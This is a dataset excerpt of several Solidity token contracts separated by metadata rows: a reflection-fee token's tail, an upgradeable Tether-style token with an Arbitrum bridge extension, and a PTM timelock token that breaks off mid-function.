function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 318,419 | 13,264 |
be1a8b9692bfde32380080148eb7c9cf2219d58d5fe309a55a152018d615e894
| 41,371 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/48/48E5FE6909440d1E292837b5C82f2Fe57038184B_ArbitrumExtension.sol
| 5,097 | 20,375 |
pragma solidity 0.8.4;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20PermitUpgradeable {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
library ECDSAUpgradeable {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
library CountersUpgradeable {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
contract WithBlockedList is OwnableUpgradeable {
modifier onlyNotBlocked() {
require(!isBlocked[_msgSender()], "Blocked: transfers are blocked for user");
_;
}
mapping (address => bool) public isBlocked;
function addToBlockedList (address _user) public onlyOwner {
isBlocked[_user] = true;
emit BlockPlaced(_user);
}
function removeFromBlockedList (address _user) public onlyOwner {
isBlocked[_user] = false;
emit BlockReleased(_user);
}
event BlockPlaced(address indexed _user);
event BlockReleased(address indexed _user);
}
contract TetherToken is Initializable, ERC20PermitUpgradeable, OwnableUpgradeable, WithBlockedList {
mapping(address => bool) public isTrusted;
uint8 private tetherDecimals;
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals) public initializer {
tetherDecimals = _decimals;
__Ownable_init();
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
}
function decimals() public view virtual override returns (uint8) {
return tetherDecimals;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
if (isTrusted[_spender]) {
return 2**256 - 1;
}
return super.allowance(_owner, _spender);
}
function transfer(address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
return super.transfer(_recipient, _amount);
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
require(!isBlocked[_sender]);
if (isTrusted[_recipient]) {
_transfer(_sender, _recipient, _amount);
return true;
}
return super.transferFrom(_sender, _recipient, _amount);
}
function multiTransfer(address[] memory _recipients, uint256[] memory _values) public onlyNotBlocked {
require(_recipients.length == _values.length , "ERC20: multiTransfer mismatch");
for (uint256 i = 0; i < _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
}
function addPrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = true;
emit NewPrivilegedContract(_trustedDeFiContract);
}
function removePrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = false;
emit RemovedPrivilegedContract(_trustedDeFiContract);
}
function mint(address _destination, uint256 _amount) public onlyOwner {
_mint(_destination, _amount);
emit Mint(_destination, _amount);
}
function redeem(uint256 _amount) public onlyOwner {
_burn(owner(), _amount);
emit Redeem(_amount);
}
function destroyBlockedFunds (address _blockedUser) public onlyOwner {
require(isBlocked[_blockedUser]);
uint blockedFunds = balanceOf(_blockedUser);
_burn(_blockedUser, blockedFunds);
emit DestroyedBlockedFunds(_blockedUser, blockedFunds);
}
event NewPrivilegedContract(address indexed _contract);
event RemovedPrivilegedContract(address indexed _contract);
event Mint(address indexed _destination, uint _amount);
event Redeem(uint _amount);
event DestroyedBlockedFunds(address indexed _blockedUser, uint _balance);
}
interface IArbToken {
function bridgeMint(address account, uint256 amount) external;
function bridgeBurn(address account, uint256 amount) external;
function l1Address() external view returns (address);
}
contract ArbitrumExtension is TetherToken, IArbToken {
address public l2Gateway;
address public override l1Address;
modifier onlyGateway {
require(msg.sender == l2Gateway, "ONLY_GATEWAY");
_;
}
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals,
address _l2Gateway,
address _l1Counterpart) public initializer {
require(_l2Gateway != address(0), "INVALID_GATEWAY");
l2Gateway = _l2Gateway;
l1Address = _l1Counterpart;
TetherToken.initialize(_name, _symbol, _decimals);
}
function bridgeMint(address account, uint256 amount) external virtual override onlyGateway {
_mint(account, amount);
emit Mint(account, amount);
}
function bridgeBurn(address account, uint256 amount) external virtual override onlyGateway {
_burn(account, amount);
emit Redeem(amount);
}
}
| 57,459 | 13,265 |
25aca201f1aeafc3cbe4f8ee5c3d6c48ae0e9d671834e34e2a9d807a55bce70f
| 13,765 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6a373436bc657249021da8c329594de2f14dc5f6.sol
| 3,669 | 13,550 |
pragma solidity ^0.4.25;
// SafeMath methods
library SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
// Contract must have an owner
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
// Standard ERC20 Token Interface
interface ERC20Token {
function name() external view returns (string name_);
function symbol() external view returns (string symbol_);
function decimals() external view returns (uint8 decimals_);
function totalSupply() external view returns (uint256 totalSupply_);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// the main ERC20-compliant multi-timelock enabled contract
contract PTM is Owned, ERC20Token {
using SafeMath for uint256;
string private constant standard = "201810";
string private constant version = "5.0";
string private name_ = "platment";
string private symbol_ = "PTM";
uint8 private decimals_ = 18;
uint256 private totalSupply_ = uint256(10)**uint256(10) * uint256(10)**uint256(decimals_);
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
// burn token event
event Burn(address indexed _from, uint256 _value);
// timelock-related events
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
// safety method-related events
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
// constructor for the ERC20 Token
constructor() public {
balanceP[msg.sender] = totalSupply_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// fast-forward the timelocks for all accounts
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = earlier.add(_earlier);
}
// delay the timelocks for all accounts
function setUnlockLater(uint256 _later) public onlyOwner {
later = later.add(_later);
}
// standard ERC20 name function
function name() public view returns (string) {
return name_;
}
// standard ERC20 symbol function
function symbol() public view returns (string) {
return symbol_;
}
// standard ERC20 decimals function
function decimals() public view returns (uint8) {
return decimals_;
}
// standard ERC20 totalSupply function
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
// standard ERC20 allowance function
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
// show unlocked balance of an account
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) >= lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocked balance of an account
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) < lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
// standard ERC20 balanceOf with timelock added
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocks in an account
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = lockTime[_address][i].add(later).sub(earlier);
i++;
}
return tempLockTime;
}
// show values locked in an account's timelocks
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
// Calculate and process the timelock states of an account
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (now.add(earlier) >= currentLockTime[i].add(later)) {
balanceP[_address] = balanceP[_address].add(currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
// standard ERC20 transfer
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// transfer Token with timelocks
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = balanceP[msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
// emit custom TransferLocked event
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
// emit standard Transfer event for wallets
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
// TransferFrom Token with timelocks
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && allowed[_from][msg.sender] >= totalValue);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = balanceP[_from].sub(_value[i]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
// emit custom TransferLocked event
emit TransferLocked(_from, _to, _time[i], _value[i]);
// emit standard Transfer event for wallets
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
// standard ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balanceP[_from] = balanceP[_from].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
// should only be called when first setting an allowed
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// increase or decrease allowed
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= allowed[msg.sender][_spender]) {
allowed[msg.sender][_spender] = 0;
} else {
